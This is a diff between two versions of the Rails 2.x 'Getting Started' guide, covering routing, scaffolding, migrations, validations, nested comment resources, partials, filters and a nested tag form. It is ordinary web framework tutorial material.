The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to http://localhost:3000/home/index.

+

The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to http://localhost:3000/home/index.

4.2. Setting the Application Home Page

-

You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:

+

You’d probably like to replace the "Welcome Aboard" page with your own application’s home page. The first step to doing this is to delete the default page from your application:

-
$ rm public/index.html
-
-

Now, you have to tell Rails where your actual home page is located. Open the file config/routes.rb in your editor. This is your application's, routing file, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the default routes:

+
$ rm public/index.html
+

Now, you have to tell Rails where your actual home page is located. Open the file config/routes.rb in your editor. This is your application’s, routing file, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you’ll see the default routes:

map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-
-

The default routes handle simple requests such as /home/index: Rails translates that into a call to the index action in the home controller. As another example, /posts/edit/1 would run the edit action in the posts controller with an id of 1.

-

To hook up your home page, you need to add another line to the routing file, above the default routes:

+map.connect ':controller/:action/:id.:format' +

The default routes handle simple requests such as /home/index: Rails translates that into a call to the index action in the home controller. As another example, /posts/edit/1 would run the edit action in the posts controller with an id of 1.

+

To hook up your home page, you need to add another line to the routing file, above the default routes:

-
map.root :controller => "home"
-
-

This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the index action.

-

Now if you navigate to http://localhost:3000 in your browser, you'll see the home/index view.

+
map.root :controller => "home"
+

This line illustrates one tiny bit of the "convention over configuration" approach: if you don’t specify an action, Rails assumes the index action.

+

Now if you navigate to http://localhost:3000 in your browser, you’ll see the home/index view.

@@ -853,162 +660,106 @@ http://www.gnu.org/software/src-highlite -->

5. Getting Up and Running Quickly With Scaffolding

-

Rails scaffolding is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.

+

Rails scaffolding is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.

6. Creating a Resource

-

In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:

+

In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:

-
$ script/generate scaffold Post name:string title:string content:text
-
+
$ script/generate scaffold Post name:string title:string content:text
- +
Note While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you’ll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
-

The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:

+

The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here’s a quick overview of what it creates:

--- - - - - +++ + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- File - - Purpose -
File Purpose
- app/models/post.rb - - The Post model -
- db/migrate/20081013124235_create_posts.rb - - Migration to create the posts table in your database (your name will include a different timestamp) -
- app/views/posts/index.html.erb - - A view to display an index of all posts -
- app/views/posts/show.html.erb - - A view to display a single post -
- app/views/posts/new.html.erb - - A view to create a new post -
- app/views/posts/edit.html.erb - - A view to edit an existing post -
- app/views/layouts/posts.html.erb - - A view to control the overall look and feel of the other posts views -
- public/stylesheets/scaffold.css - - Cascading style sheet to make the scaffolded views look better -
- app/controllers/posts_controller.rb - - The Posts controller -
- test/functional/posts_controller_test.rb - - Functional testing harness for the posts controller -
- app/helpers/posts_helper.rb - - Helper functions to be used from the posts views -
- config/routes.rb - - Edited to include routing information for posts -
- test/fixtures/posts.yml - - Dummy posts for use in testing -
- test/unit/post_test.rb - - Unit testing harness for the posts model -

app/models/post.rb

The Post model

db/migrate/20090113124235_create_posts.rb

Migration to create the posts table in your database (your name will include a different timestamp)

app/views/posts/index.html.erb

A view to display an index of all posts

app/views/posts/show.html.erb

A view to display a single post

app/views/posts/new.html.erb

A view to create a new post

app/views/posts/edit.html.erb

A view to edit an existing post

app/views/layouts/posts.html.erb

A view to control the overall look and feel of the other posts views

public/stylesheets/scaffold.css

Cascading style sheet to make the scaffolded views look better

app/controllers/posts_controller.rb

The Posts controller

test/functional/posts_controller_test.rb

Functional testing harness for the posts controller

app/helpers/posts_helper.rb

Helper functions to be used from the posts views

config/routes.rb

Edited to include routing information for posts

test/fixtures/posts.yml

Dummy posts for use in testing

test/unit/post_test.rb

Unit testing harness for the posts model

test/unit/helpers/posts_helper_test.rb

Unit testing harness for the posts helper

6.1. Running a Migration

-

One of the products of the script/generate scaffold command is a database migration. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.

-

If you look in the db/migrate/20081013124235_create_posts.rb file (remember, yours will have a slightly different name), here's what you'll find:

+

One of the products of the script/generate scaffold command is a database migration. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it’s possible to undo a migration after it’s been applied to your database. Migration filenames include a timestamp to ensure that they’re processed in the order that they were created.

+

If you look in the db/migrate/20090113124235_create_posts.rb file (remember, yours will have a slightly different name), here’s what you’ll find:

def self.down drop_table :posts end -end -
-

If you were to translate that into words, it says something like: when this migration is run, create a table named posts with two string columns (name and title) and a text column (content), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the Rails Database Migrations guide.

-

At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:

+end +

If you were to translate that into words, it says something like: when this migration is run, create a table named posts with two string columns (name and title) and a text column (content), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the Rails Database Migrations guide.

+

At this point, you can use a rake command to run the migration:

-
$ rake db:create
-$ rake db:migrate
-
+
$ rake db:migrate
+

Remember, you can’t run migrations before running rake db:create to create your database, as we covered earlier.

- +
Note Because you're working in the development environment by default, both of these commands will apply to the database defined in the development section of your config/database.yml file.Because you’re working in the development environment by default, this command will apply to the database defined in the development section of your config/database.yml file.
-

To hook the posts up to the home page you've already created, you can add a link to the home page. Open /app/views/home/index.html.erb and modify it as follows:

+

To hook the posts up to the home page you’ve already created, you can add a link to the home page. Open /app/views/home/index.html.erb and modify it as follows:

<h1>Hello, Rails!</h1>
 
-<%= link_to "My Blog", posts_path %>
-
-

The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.

+<%= link_to "My Blog", posts_path %> +

The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.

6.3. Working with Posts in the Browser

-

Now you're ready to start working with posts. To do that, navigate to http://localhost:3000 and then click the "My Blog" link:

-

+

Now you’re ready to start working with posts. To do that, navigate to http://localhost:3000 and then click the "My Blog" link:

+

Posts Index screenshot

-

This is the result of Rails rendering the index view of your posts. There aren't currently any posts in the database, but if you click the New Post link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single script/generate scaffold command.

+

This is the result of Rails rendering the index view of your posts. There aren’t currently any posts in the database, but if you click the New Post link you can create one. After that, you’ll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single script/generate scaffold command.

- +
Tip In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.In development mode (which is what you’re working in by default), Rails reloads your application with every browser request, so there’s no need to stop and restart the web server.
-

Congratulations, you're riding the rails! Now it's time to see how it all works.

+

Congratulations, you’re riding the rails! Now it’s time to see how it all works.

6.4. The Model

-

The model file, app/models/post.rb is about as simple as it can get:

+

The model file, app/models/post.rb is about as simple as it can get:

class Post < ActiveRecord::Base
-end
-
-

There isn't much to this file - but note that the Post class inherits from ActiveRecord::Base. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

+end
+

There isn’t much to this file - but note that the Post class inherits from ActiveRecord::Base. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

6.5. Adding Some Validation

-

Rails includes methods to help you validate the data that you send to models. Open the app/models/post.rb file and edit it:

+

Rails includes methods to help you validate the data that you send to models. Open the app/models/post.rb file and edit it:

class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
-end
-
-

These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.

+end +

These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.

6.6. Using the Console

-

To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:

+

To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:

-
$ script/console
-
-

After the console loads, you can use it to work with your application's models:

+
$ script/console
+

After the console loads, you can use it to work with your application’s models:

format.html # index.html.erb format.xml { render :xml => @posts } end -end -
-

This code sets the @posts instance variable to an array of all posts in the database. Post.find(:all) or Post.all calls the Post model to return all of the posts that are currently in the database, with no limiting conditions.

+end +

This code sets the @posts instance variable to an array of all posts in the database. Post.find(:all) or Post.all calls the Post model to return all of the posts that are currently in the database, with no limiting conditions.

@@ -1159,7 +902,7 @@ http://www.gnu.org/software/src-highlite --> For more information on finding records with Active Record, see Active Record Finders.
-

The respond_to block handles both HTML and XML calls to this action. If you browse to http://localhost:3000/posts.xml, you'll see all of the posts in XML format. The HTML format looks for a view in app/views/posts/ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's app/view/posts/index.html.erb:

+

The respond_to block handles both HTML and XML calls to this action. If you browse to http://localhost:3000/posts.xml, you’ll see all of the posts in XML format. The HTML format looks for a view in app/views/posts/ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here’s app/view/posts/index.html.erb:

<br /> -<%= link_to 'New post', new_post_path %> -
-

This view iterates over the contents of the @posts array to display content and links. A few things to note in the view:

-
    +<%= link_to 'New post', new_post_path %>
+

This view iterates over the contents of the @posts array to display content and links. A few things to note in the view:

+
  • h is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks @@ -1217,7 +959,7 @@ http://www.gnu.org/software/src-highlite -->

6.8. Customizing the Layout

-

The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of layouts, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The script/generate scaffold command automatically created a default layout, app/views/layouts/posts.html.erb, for the posts. Open this layout in your editor and modify the body tag:

+

The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of layouts, which are containers for views. When Rails renders a view to the browser, it does so by putting the view’s HTML into a layout’s HTML. The script/generate scaffold command automatically created a default layout, app/views/layouts/posts.html.erb, for the posts. Open this layout in your editor and modify the body tag:

<%= yield %> </body> -</html> -
-

Now when you refresh the /posts page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.

+</html> +

Now when you refresh the /posts page, you’ll see a gray background to the page. This same gray background will be used throughout all the views for posts.

6.9. Creating New Posts

-

Creating a new post involves two actions. The first is the new action, which instantiates an empty Post object:

+

Creating a new post involves two actions. The first is the new action, which instantiates an empty Post object:

format.html # new.html.erb format.xml { render :xml => @post } end -end -
-

The new.html.erb view displays this empty Post to the user:

+end +

The new.html.erb view displays this empty Post to the user:

</p> <% end %> -<%= link_to 'Back', posts_path %> -
-

The form_for block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, f.text_field :name tells Rails to create a text input on the form, and to hook it up to the name attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case name, title, and content). Rails uses form_for in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.

+<%= link_to 'Back', posts_path %> +

The form_for block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, f.text_field :name tells Rails to create a text input on the form, and to hook it up to the name attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case name, title, and content). Rails uses form_for in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.

@@ -1297,7 +1036,7 @@ http://www.gnu.org/software/src-highlite --> If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the form_tag method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
-

When the user clicks the Create button on this form, the browser will send information back to the create method of the controller (Rails knows to call the create method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):

+

When the user clicks the Create button on this form, the browser will send information back to the create method of the controller (Rails knows to call the create method because the form is sent with an HTTP POST request; that’s one of the conventions that I mentioned earlier):

format.xml { render :xml => @post.errors, :status => :unprocessable_entity } end end -end -
-

The create action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the params hash. After saving the new post, it uses flash[:notice] to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the create action just shows the new view a second time, with any error messages.

-

Rails provides the flash hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of create, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the show action, they are presented with a message saying "Post was successfully created."

+end +

The create action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the params hash. After saving the new post, it uses flash[:notice] to create an informational message for the user, and redirects to the show action for the post. If there’s any problem, the create action just shows the new view a second time, with any error messages.

+

Rails provides the flash hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of create, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the show action, they are presented with a message saying "Post was successfully created."

6.10. Showing an Individual Post

-

When you click the show link for a post on the index page, it will bring you to a URL like http://localhost:3000/posts/1. Rails interprets this as a call to the show action for the resource, and passes in 1 as the :id parameter. Here's the show action:

+

When you click the show link for a post on the index page, it will bring you to a URL like http://localhost:3000/posts/1. Rails interprets this as a call to the show action for the resource, and passes in 1 as the :id parameter. Here’s the show action:

format.html # show.html.erb format.xml { render :xml => @post } end -end -
-

The show action uses Post.find to search for a single record in the database by its id value. After finding the record, Rails displays it by using show.html.erb:

+end +

The show action uses Post.find to search for a single record in the database by its id value. After finding the record, Rails displays it by using show.html.erb:

<%= link_to 'Edit', edit_post_path(@post) %> | -<%= link_to 'Back', posts_path %> -
+<%= link_to 'Back', posts_path %>

6.11. Editing Posts

-

Like creating a new post, editing a post is a two-part process. The first step is a request to edit_post_path(@post) with a particular post. This calls the edit action in the controller:

+

Like creating a new post, editing a post is a two-part process. The first step is a request to edit_post_path(@post) with a particular post. This calls the edit action in the controller:

def edit
   @post = Post.find(params[:id])
-end
-
-

After finding the requested post, Rails uses the edit.html.erb view to display it:

+end +

After finding the requested post, Rails uses the edit.html.erb view to display it:

<% end %> <%= link_to 'Show', @post %> | -<%= link_to 'Back', posts_path %> -
-

Submitting the form created by this view will invoke the update action within the controller:

+<%= link_to 'Back', posts_path %> +

Submitting the form created by this view will invoke the update action within the controller:

format.xml { render :xml => @post.errors, :status => :unprocessable_entity } end end -end -
-

In the update action, Rails first uses the :id parameter passed back from the edit view to locate the database record that's being edited. The update_attributes call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's show view. If there are any problems, it's back to edit to correct them.

+end +

In the update action, Rails first uses the :id parameter passed back from the edit view to locate the database record that’s being edited. The update_attributes call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post’s show view. If there are any problems, it’s back to edit to correct them.

- +
Note Sharp-eyed readers will have noticed that the form_for declaration is identical for the new and edit views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a partial template, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for create and edit.Sharp-eyed readers will have noticed that the form_for declaration is identical for the new and edit views. Rails generates different code for the two forms because it’s smart enough to notice that in the one case it’s being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a partial template, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for create and edit.

6.12. Destroying a Post

-

Finally, clicking one of the destroy links sends the associated id to the destroy action:

+

Finally, clicking one of the destroy links sends the associated id to the destroy action:

format.html { redirect_to(posts_url) } format.xml { head :ok } end -end -
-

The destroy method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.

+end +

The destroy method of an Active Record model instance removes the corresponding record from the database. After that’s done, there isn’t any record to display, so Rails redirects the user’s browser to the index view for the model.

7. DRYing up the Code

-

At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use partials to clean up duplication in views and filters to help with duplication in controllers.

+

At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use partials to clean up duplication in views and filters to help with duplication in controllers.

7.1. Using Partials to Eliminate View Duplication

-

As you saw earlier, the scaffold-generated views for the new and edit actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template:

-

new.html.erb:

+

As you saw earlier, the scaffold-generated views for the new and edit actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new _form.html.erb template should be saved in the same app/views/posts folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that’s the Rails naming convention for partial templates.

+

new.html.erb:

<%= render :partial => "form" %> -<%= link_to 'Back', posts_path %> -
-

edit.html.erb:

+<%= link_to 'Back', posts_path %>
+

edit.html.erb:

<%= render :partial => "form" %> <%= link_to 'Show', @post %> | -<%= link_to 'Back', posts_path %> -
-

_form.html.erb:

+<%= link_to 'Back', posts_path %> +

_form.html.erb:

<p> <%= f.submit "Save" %> </p> -<% end %> -
-

Now, when Rails renders the new or edit view, it will insert the _form partial at the indicated point. Note the naming convention for partials: if you refer to a partial named form inside of a view, the corresponding file is _form.html.erb, with a leading underscore.

-

For more information on partials, refer to the Layouts and Rending in Rails guide.

+<% end %> +

Now, when Rails renders the new or edit view, it will insert the _form partial at the indicated point. Note the naming convention for partials: if you refer to a partial named form inside of a view, the corresponding file is _form.html.erb, with a leading underscore.

+

For more information on partials, refer to the Layouts and Rending in Rails guide.

7.2. Using Filters to Eliminate Controller Duplication

-

At this point, if you look at the controller for posts, you’ll see some duplication:

+

At this point, if you look at the controller for posts, you’ll see some duplication:

@post = Post.find(params[:id]) # ... end -end -
-

Four instances of the exact same line of code doesn’t seem very DRY. Rails provides filters as a way to address this sort of repeated code. In this case, you can DRY things up by using a before_filter:

+end +

Four instances of the exact same line of code doesn’t seem very DRY. Rails provides filters as a way to address this sort of repeated code. In this case, you can DRY things up by using a before_filter:

def find_post @post = Post.find(params[:id]) end -end -
-

Rails runs before filters before any action in the controller. You can use the :only clause to limit a before filter to only certain actions, or an :except clause to specifically skip a before filter for certain actions. Rails also allows you to define after filters that run after processing an action, as well as around filters that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.

-

For more information on filters, see the Action Controller Basics guide.

+end +

Rails runs before filters before any action in the controller. You can use the :only clause to limit a before filter to only certain actions, or an :except clause to specifically skip a before filter for certain actions. Rails also allows you to define after filters that run after processing an action, as well as around filters that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.

+

For more information on filters, see the Action Controller Basics guide.

8. Adding a Second Model

-

Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.

+

Now that you’ve seen what’s in a model built with scaffolding, it’s time to add a second model to the application. The second model will handle comments on blog posts.

8.1. Generating a Model

-

Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:

+

Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don’t want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:

-
$ script/generate model Comment commenter:string body:text post:references
-
-

This command will generate four files:

-
    +
    $ script/generate model Comment commenter:string body:text post:references
+

This command will generate four files:

+
-

First, take a look at comment.rb:

+

First, take a look at comment.rb:

class Comment < ActiveRecord::Base
   belongs_to :post
-end
-
-

This is very similar to the post.rb model that you saw earlier. The difference is the line belongs_to :post, which sets up an Active Record association. You'll learn a little about associations in the next section of this guide.

-

In addition to the model, Rails has also made a migration to create the corresponding database table:

+end +

This is very similar to the post.rb model that you saw earlier. The difference is the line belongs_to :post, which sets up an Active Record association. You’ll learn a little about associations in the next section of this guide.

+

In addition to the model, Rails has also made a migration to create the corresponding database table:

def self.down drop_table :comments end -end -
-

The t.references line sets up a foreign key column for the association between the two models. Go ahead and run the migration:

+end +

The t.references line sets up a foreign key column for the association between the two models. Go ahead and run the migration:

-
$ rake db:migrate
-
-

Rails is smart enough to only execute the migrations that have not already been run against this particular database.

+
$ rake db:migrate
+

Rails is smart enough to only execute the migrations that have not already been run against the current database.

8.2. Associating Models

-

Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:

-
+

You’ll need to edit the post.rb file to add the other side of the association:

validates_presence_of :name, :title validates_length_of :title, :minimum => 5 has_many :comments -end -
-

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @post containing a post, you can retrieve all the comments belonging to that post as the array @post.comments.

+end +

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @post containing a post, you can retrieve all the comments belonging to that post as the array @post.comments.

@@ -1690,36 +1411,32 @@ http://www.gnu.org/software/src-highlite -->

8.3. Adding a Route

-

Routes are entries in the config/routes.rb file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to posts. Then edit it as follows:

+

Routes are entries in the config/routes.rb file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to posts (it will be right at the top of the file). Then edit it as follows:

-
map.resources :posts do |post|
-  post.resources :comments
-end
-
-

This creates comments as a nested resource within posts. This is another part of capturing the hierarchical relationship that exists between posts and comments.

+
map.resources :posts, :has_many => :comments
+

This creates comments as a nested resource within posts. This is another part of capturing the hierarchical relationship that exists between posts and comments.

- +
Tip For more information on routing, see the Rails Routing from the Outside In guide.For more information on routing, see the Rails Routing from the Outside In guide.

8.4. Generating a Controller

-

With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:

+

With the model in hand, you can turn your attention to creating a matching controller. Again, there’s a generator for this:

-
$ script/generate controller Comments index show new edit
-
-

This creates seven files:

-
+

This creates seven files:

+
-

The controller will be generated with empty methods for each action that you specified in the call to script/generate controller:

+

The controller will be generated with empty methods and views for each action that you specified in the call to script/generate controller:

def edit end -end -
-

You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:

+end +

You’ll need to flesh this out with code to actually process requests appropriately in each method. Here’s a version that (for simplicity’s sake) only responds to requests that require HTML:

def show @post = Post.find(params[:post_id]) - @comment = Comment.find(params[:id]) + @comment = @post.comments.find(params[:id]) end def new @@ -1803,7 +1519,7 @@ http://www.gnu.org/software/src-highlite --> @post = Post.find(params[:post_id]) @comment = @post.comments.build(params[:comment]) if @comment.save - redirect_to post_comment_path(@post, @comment) + redirect_to post_comment_url(@post, @comment) else render :action => "new" end @@ -1811,34 +1527,43 @@ http://www.gnu.org/software/src-highlite --> def edit @post = Post.find(params[:post_id]) - @comment = Comment.find(params[:id]) + @comment = @post.comments.find(params[:id]) end def update @post = Post.find(params[:post_id]) @comment = Comment.find(params[:id]) if @comment.update_attributes(params[:comment]) - redirect_to post_comment_path(@post, @comment) + redirect_to post_comment_url(@post, @comment) else render :action => "edit" end end -end -
-

You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.

-

In addition, the code takes advantage of some of the methods available for an association. For example, in the new method, it calls

+ def destroy + @post = Post.find(params[:post_id]) + @comment = Comment.find(params[:id]) + @comment.destroy + + respond_to do |format| + format.html { redirect_to post_comments_path(@post) } + format.xml { head :ok } + end + end + +end +

You’ll see a bit more complexity here than you did in the controller for posts. That’s a side-effect of the nesting that you’ve set up; each request for a comment has to keep track of the post to which the comment is attached.

+

In addition, the code takes advantage of some of the methods available for an association. For example, in the new method, it calls

-
@comment = @post.comments.build
-
-

This creates a new Comment object and sets up the post_id field to have the id from the specified Post object in a single operation.

+
@comment = @post.comments.build
+

This creates a new Comment object and sets up the post_id field to have the id from the specified Post object in a single operation.

8.5. Building Views

-

Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking script/generate controller will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.

-

The index.html.erb view:

+

Because you skipped scaffolding, you’ll need to build views for comments "by hand." Invoking script/generate controller will give you skeleton views, but they’ll be devoid of actual content. Here’s a first pass at fleshing out the comment views.

+

The views/comments/index.html.erb view:

<br /> <%= link_to 'New comment', new_post_comment_path(@post) %> -<%= link_to 'Back to Post', @post %> -
-

The new.html.erb view:

+<%= link_to 'Back to Post', @post %> +

The views/comments/new.html.erb view:

</p> <% end %> -<%= link_to 'Back', post_comments_path(@post) %> -
-

The show.html.erb view:

+<%= link_to 'Back', post_comments_path(@post) %> +

The views/comments/show.html.erb view:

</p> <%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> | -<%= link_to 'Back', post_comments_path(@post) %> -
-

The edit.html.erb view:

+<%= link_to 'Back', post_comments_path(@post) %> +

The views/comments/edit.html.erb view:

<% end %> <%= link_to 'Show', post_comment_path(@post, @comment) %> | -<%= link_to 'Back', post_comments_path(@post) %> -
-

Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.

+<%= link_to 'Back', post_comments_path(@post) %> +

Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.

8.6. Hooking Comments to Posts

-

As a final step, I'll modify the show.html.erb view for a post to show the comments on that post, and to allow managing those comments:

+

As a next step, I’ll modify the views/posts/show.html.erb view to show the comments on that post, and to allow managing those comments:

</p> <% end %> -<%= link_to 'Edit', edit_post_path(@post) %> | -<%= link_to 'Back', posts_path %> -<%= link_to 'Manage Comments', post_comments_path(@post) %> -
-

Note that each post has its own individual comments collection, accessible as @post.comments. That's a consequence of the declarative associations in the models. Path helpers such as post_comments_path come from the nested route declaration in config/routes.rb.

+<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | +<%= link_to 'Manage Comments', post_comments_path(@post) %> +

Note that each post has its own individual comments collection, accessible as @post.comments. That’s a consequence of the declarative associations in the models. Path helpers such as post_comments_path come from the nested route declaration in config/routes.rb.

-

9. What's Next?

+

9. Building a Multi-Model Form

-

Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

-
    +

    Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let’s add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:

    +
    +
    +
    $ script/generate model tag name:string post:references
    +

    Run the migration to create the database table:

    +
    +
    +
    $ rake db:migrate
    +

    Next, edit the post.rb file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:

    +
    +
    +
    class Post < ActiveRecord::Base
    +  validates_presence_of :name, :title
    +  validates_length_of :title, :minimum => 5
    +  has_many :comments
    +  has_many :tags
    +
    +  accepts_nested_attributes_for :tags, :allow_destroy => :true  ,
    +        :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
    +end
    +

    The :allow_destroy option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you’ll build shortly. The :reject_if option prevents saving new tags that do not have any attributes filled in.

    +

    You’ll also need to modify views/posts/_form.html.erb to include the tags:

    +
    +
    +
    <% @post.tags.build if @post.tags.empty? %>
    +<% form_for(@post) do |post_form| %>
    +  <%= post_form.error_messages %>
    +
    +  <p>
    +    <%= post_form.label :name %><br />
    +    <%= post_form.text_field :name %>
    +  </p>
    +  <p>
    +    <%= post_form.label :title, "title" %><br />
    +    <%= post_form.text_field :title %>
    +  </p>
    +  <p>
    +    <%= post_form.label :content %><br />
    +    <%= post_form.text_area :content %>
    +  </p>
    +  <h2>Tags</h2>
    +  <% post_form.fields_for :tags do |tag_form| %>
    +    <p>
    +      <%= tag_form.label :name, 'Tag:' %>
    +      <%= tag_form.text_field :name %>
    +    </p>
    +    <% unless tag_form.object.nil? || tag_form.object.new_record? %>
    +      <p>
    +        <%= tag_form.label :_delete, 'Remove:' %>
    +        <%= tag_form.check_box :_delete %>
    +      </p>
    +    <% end %>
    +  <% end %>
    +
    +  <p>
